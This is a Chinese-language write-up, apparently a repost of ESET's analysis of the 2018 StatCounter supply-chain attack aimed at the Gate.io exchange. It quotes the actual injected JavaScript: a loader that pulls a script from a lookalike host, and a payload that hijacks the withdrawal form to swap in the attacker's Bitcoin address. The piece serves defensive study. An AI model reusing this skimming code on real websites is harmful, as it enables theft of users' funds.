【ESET】通过供应链攻击拿下数字货币交易所 Gate.io
【ESET】通过供应链攻击拿下数字货币交易所 Gate.io
https://www.welivesecurity.com/2018/11/06/supply-chain-attack-cryptocurrency-exchange-gate-io/
顺带提到一个 JavaScript 压缩工具
http://dean.edwards.name/packer/
事件
[11月7日星期三更新] 11月6日,StatCounter 删除了恶意脚本。几个小时前,Gate.io 停止使用StatCounter 分析服务来防止进一步感染。因此,此事件现已解决,并且可以安全地浏览这两个网站。
11月3日,攻击者成功攻击了领先的网络分析平台 StatCounter。
StatCounter 是一个类似 CNZZ, Google Analytics 的网络分析平台。通常网站管理员会引入一段来自这些统计平台的 JavaScript 代码到网站的 (每一个) 页面中。因此,通过侵入 StatCounter 平台,攻击者可以在使用 StatCounter 的所有网站中注入 JavaScript 代码。
myselfloc = '' + document.location;
if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) {
var ga = document.createElement('script');
ga.src = 'https://www.statconuter.com/c.php';
ga.setAttribute('async', 'true');
document.documentElement.firstChild.appendChild(ga);
}
这段代码将首先检查 URL 是否包含 myaccount/withdraw/BTC
。因此,我们已经可以猜测攻击者的目标是以比特币平台为目标。如果检查通过,脚本将继续向网页添加新的脚本元素,并将代码合并到 https//www.statconuter.com/c.php
。
根据 coinmarketcap.com ,数百万美元,包括 160万美元 的比特币交易,每天都在这个平台进行交易。因此,攻击者在这个平台上大规模窃取加密货币可能是非常有利可图的。
document.forms[0]['addr'].value = '';
document.forms[0]['amount'].value = '';
doSubmit1 = doSubmit;
doSubmit = function () {
var a = document.getElementById('withdraw_form');
if ($('#amount').val() > 10) {
document.forms[0]['addr']['name'] = '';
var s = $("<input type='hidden' name='addr'/>");
s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
var b = $('#withdraw_form');
b.append(s);
a.submit();
} else if (document.getElementById('canUse').innerText > 10) {
document.forms[0]['addr']['name'] = '';
var s = $("<input type='hidden' name='addr'/>");
s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
var b = $('#withdraw_form');
b.append(s);
document.forms[0]['amount']['name'] = '';
var t = $("<input type='hidden' name='amount'/>");
t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText));
b.append(t);
a.submit();
} else {
doSubmit1();
}
};
在真正的 gate.io 网页中,已经有一个 doSubmit 函数,当用户点击提交按钮时调用,但攻击者在这里重新定义它。
该脚本会自动使用属于攻击者的地址替换目标比特币地址,例如 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad
。每次访问者加载 statconuter.com/c.php
脚本时,恶意服务器都会生成一个新的比特币地址。因此,很难看出有多少比特币已转移给攻击者。
由于每次将恶意脚本发送给受害者时都会生成一个新的比特币地址,我们无法看到攻击者收集了多少比特币。例如,如果我们检查我们在测试机器上收到的地址,则余额为 0 BTC。
结论
即使我们不知道在这次攻击中有多少比特币被盗,它也显示了攻击者为了攻击一个网站愿意走多远,尤其是是加密货币交换。为了实现从一个加密货币交换网站的客户那里窃取比特币的目标,黑客破坏了分析服务的网站,该网站被超过 200万 个其他网站(包括几个与政府相关的网站)使用。
它还表明,即使您的网站已更新并受到良好保护,它仍然容易受到最薄弱的链接的影响,在这种情况下,该链接是外部资源。这是另一个提醒,外部 JavaScript 代码由第三方控制,可以随时修改,恕不另行通知。
我们发现这种恶意活动的同时就已经通知了 StatCounter 和 gate.io.
Leave a Reply